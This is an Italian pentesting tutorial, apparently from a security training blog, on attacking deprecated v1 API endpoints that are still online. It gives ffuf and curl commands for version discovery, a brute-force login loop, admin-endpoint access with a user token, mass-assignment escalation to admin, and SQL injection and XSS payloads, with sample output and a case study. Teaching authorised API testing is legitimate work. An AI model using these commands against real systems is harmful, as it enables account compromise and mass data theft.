web-hacking

API Versioning Attack: Sfruttare Endpoint v1 Dimenticati nel Pentesting API (2026)

API Versioning Attack: Sfruttare Endpoint v1 Dimenticati nel Pentesting API (2026)

API Versioning Attack spiegato in modo operativo: come trovare endpoint API legacy v1, bypassare rate limit e autenticazione e sfruttare API deprecate durante un penetration test.

  • Pubblicato il 2026-03-04
  • Tempo di lettura: 4 min

Cos’è Un API Versioning Attack? #

Un API Versioning Attack sfrutta le versioni precedenti di un’API che sono ancora raggiungibili ma non più mantenute. Quando un’applicazione passa dalla v1 alla v2, la v2 ha le patch di sicurezza, il rate limit aggiornato, l’autenticazione forte. Ma la v1 — quella “deprecata” — resta online perché qualche client legacy la usa ancora, o semplicemente perché nessuno si è ricordato di spegnerla.

L’attaccante non deve trovare un bypass sofisticato. Basta cambiare /api/v2/ in /api/v1/ nell’URL e spesso ottiene: nessun rate limit, nessun 2FA, nessun input validation, parametri extra accettati via Mass Assignment, e a volte endpoint admin che nella v2 sono stati rimossi ma nella v1 esistono ancora.

È un attacco che non richiede exploit — solo consapevolezza che le API vecchie esistono e che spesso sono meno protette.

Satellite della guida pillar API & Modern Web Attacks. Vedi anche: API Rate Limit Bypass, Brute Force.

Riferimenti: OWASP API9:2023 Improper Inventory Management, HackTricks API Pentesting.


Discovery — Trovare Le Versioni Nascoste #

Fuzz Versioni Con ffuf #

bash
# Se l'API attuale è /api/v2/:
ffuf -u "https://target.com/api/vFUZZ/users/me" \
  -w <(seq 1 10) \
  -H "Authorization: Bearer TOKEN" \
  -mc 200,301,302,401,403

# Risultato tipico:
# v1 → 200 (risponde! deprecata ma attiva)
# v2 → 200 (versione corrente)
# v3 → 200 (versione beta/staging?)
# v4+ → 404

# Pattern di versioning diversi:
ffuf -u "https://target.com/FUZZ/users/me" \
  -w <(echo -e "api/v1\napi/v2\napi/v3\nv1\nv2\nv3\napi-v1\napi-v2") \
  -H "Authorization: Bearer TOKEN" \
  -mc 200,301,401,403

Header-Based Versioning #

bash
# Alcune API usano header per la versione:
curl -s "https://target.com/api/users/me" \
  -H "Authorization: Bearer TOKEN" \
  -H "API-Version: 1"
# O:
  -H "Accept: application/vnd.target.v1+json"
  -H "X-API-Version: 2023-01-01"    # Date-based versioning
  -H "X-API-Version: 2020-01-01"    # Data vecchia → versione vecchia?

Subdomain e Path Variation #

bash
# Subdomain:
api-v1.target.com
legacy.target.com
old-api.target.com
staging-api.target.com

# Path:
/api/legacy/
/api/internal/
/api/beta/
/api/old/
/api/deprecated/

Cosa Cercare — Le Differenze Tra Versioni #

Una volta trovata la v1 (o qualsiasi versione vecchia), confrontala con la versione corrente:

Autenticazione Più Debole #

bash
# v2: richiede JWT + 2FA
# v1: accetta solo API key (senza 2FA)
curl -s "https://target.com/api/v1/users/me" \
  -H "X-API-Key: LEAKED_KEY"
# Funziona senza JWT e senza 2FA!

# v2: richiede OAuth token
# v1: accetta Basic Auth
curl -s "https://target.com/api/v1/users/me" \
  -u "admin:password"

Scopri anche gli attacchi più comuni su jwt. Non troverai da nessun’altra parte tecniche simile..

Nessun Rate Limit #

bash
# v2: 10 request/minuto
# v1: illimitato
for i in $(seq 1 1000); do
  curl -s -X POST "https://target.com/api/v1/login" \
    -d "{\"email\":\"admin@co.it\",\"password\":\"$(sed -n "${i}p" wordlist.txt)\"}"
done
# 1000 tentativi senza un singolo 429

Endpoint Rimossi Nella v2 Ma Presenti In v1 #

bash
# v2: endpoint /admin rimosso
# v1: /admin ancora presente
curl -s "https://target.com/api/v1/admin/users" \
  -H "Authorization: Bearer NORMAL_USER_TOKEN"
# Lista tutti gli utenti! L'endpoint admin nella v1 non ha controllo ruolo

curl -s "https://target.com/api/v1/admin/export" \
  -H "Authorization: Bearer NORMAL_USER_TOKEN"
# Export database! Nella v2 è stato rimosso, nella v1 è ancora lì

Mass Assignment / Parametri Extra #

bash
# v2: il campo "role" è filtrato
# v1: accetta qualsiasi campo
curl -s -X PUT "https://target.com/api/v1/users/me" \
  -H "Authorization: Bearer TOKEN" \
  -d '{"name":"Mario","role":"admin"}'
# → 200 OK → ruolo cambiato ad admin!
# Nella v2 il campo "role" è nella blocklist, nella v1 no

Input Validation Mancante #

bash
# v2: input sanitizzato, prepared statements
# v1: vulnerabile a SQLi
curl -s "https://target.com/api/v1/users?search=admin' OR '1'='1"
# → Dump di tutti gli utenti! La v1 concatena l'input nella query SQL

# v2: XSS filtrato
# v1: nessun filtro
curl -s -X POST "https://target.com/api/v1/comments" \
  -d '{"text":"<script>alert(1)</script>"}'

Output Reale #

v1 Senza Rate Limit #

bash
$ # v2 → bloccato:
$ curl -s "https://target.com/api/v2/auth/login" -d '{"email":"admin@co.it","password":"x"}'
{"error":"Too many requests"}

$ # v1 → libero:
$ curl -s "https://target.com/api/v1/auth/login" -d '{"email":"admin@co.it","password":"x"}'
{"error":"Invalid credentials"}
# Nessun 429 nemmeno dopo 500 tentativi!

Endpoint Admin In v1 #

bash
$ curl -s "https://target.com/api/v1/admin/users?limit=5" \
  -H "Authorization: Bearer NORMAL_USER_TOKEN" | python3 -m json.tool

{
  "users": [
    {"id": 1, "email": "admin@company.com", "role": "super_admin"},
    {"id": 2, "email": "mario@company.com", "role": "user"},
    {"id": 3, "email": "giulia@company.com", "role": "manager"},
    ...
  ],
  "total": 50000
}
# → Endpoint admin accessibile con token utente normale sulla v1!

Mass Assignment In v1 #

bash
$ curl -s -X PUT "https://target.com/api/v1/users/me" \
  -H "Authorization: Bearer TOKEN" \
  -d '{"role":"admin"}' | python3 -m json.tool

{"id": 1337, "name": "Attacker", "email": "test@test.com", "role": "admin"}
# → Ruolo cambiato ad admin sulla v1. La v2 filtra "role", la v1 no.

Workflow Operativo #

Step 1 → Identifica la versione corrente (/api/v2/, header, subdomain)

Step 2 → Fuzz versioni precedenti: v1, v0, legacy, beta, internal, staging

Step 3 → Per ogni versione trovata, confronta: auth richiesta? Rate limit? Endpoint disponibili? Parametri accettati?

Step 4 → Testa le differenze: brute force su v1 senza rate limit, endpoint admin, Mass Assignment, SQLi

Step 5 → Documenta l’impatto: la v1 permette cose che la v2 blocca


Enterprise Escalation #

v1 Senza Rate Limit → Brute Force → Admin #

text
/api/v1/login → nessun rate limit
→ Password spray 200.000 email × 3 password
→ 47 account compromessi
→ 2 store_manager → accesso ordini e pagamenti
→ MASS ACCOUNT COMPROMISE

v1 Con Endpoint Admin → Data Export #

text
/api/v1/admin/export → accessibile con token normale
→ Export CSV: 50.000 utenti con email, telefono, indirizzo
→ DATA BREACH via endpoint "deprecato"

Caso Studio #

Settore: SaaS gestionale, API REST, 30.000 aziende clienti.

L’API corrente era /api/v3/, con JWT, 2FA, rate limit, input validation. Il fuzz ha rivelato /api/v1/ ancora attivo — rispondeva a tutti gli endpoint. La v1 accettava Basic Auth (senza 2FA), non aveva rate limit, e l’endpoint /api/v1/admin/companies restituiva la lista completa delle aziende con tutti i dettagli (ragione sociale, P.IVA, piano di abbonamento, fatturato mensile) — con un semplice token utente.

La v1 accettava anche PUT /api/v1/users/me con il campo role — Mass Assignment per diventare admin. Nella v3 quel campo era nella blocklist, nella v1 no.

Una versione API “deprecata” che nessuno aveva spento conteneva tutte le vulnerabilità che la v3 aveva corretto.


✅ Checklist #

text
DISCOVERY
☐ Versione corrente identificata (v2, v3, header-based?)
☐ ffuf per versioni precedenti (v1, v0, legacy, beta)
☐ Subdomain: api-v1, legacy, old-api, staging?
☐ Header: API-Version, Accept, X-API-Version con valori vecchi?

CONFRONTO
☐ Auth: v1 accetta auth più debole? (Basic, API key, no 2FA)
☐ Rate limit: presente su tutte le versioni?
☐ Endpoint: v1 ha endpoint admin/export/internal?
☐ Input: v1 ha stessa validation della versione corrente?
☐ Mass Assignment: v1 accetta campi filtrati nella versione corrente?

EXPLOITATION
☐ Brute force su v1 senza rate limit testato
☐ Endpoint admin/export su v1 con token normale testato
☐ Mass Assignment (role, isAdmin) su v1 testato
☐ SQLi/XSS su v1 testata

Riferimenti: OWASP API9:2023 Improper Inventory Management, HackTricks API Pentesting.

Satellite della Guida API & Modern Web Attacks. Vedi anche: API Rate Limit Bypass, Brute Force, Privilege Escalation Web.

La v1 della tua API è ancora raggiungibile? Ha lo stesso rate limit della v2? L’endpoint admin è stato rimosso anche dalla v1? Testa la tua azienda/sito web Penetration test API HackIta. Dall’endpoint deprecato al data breach: se hai difficoltà nell’andare avanti o crescere clicca qui! formazione 1:1.

#api

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.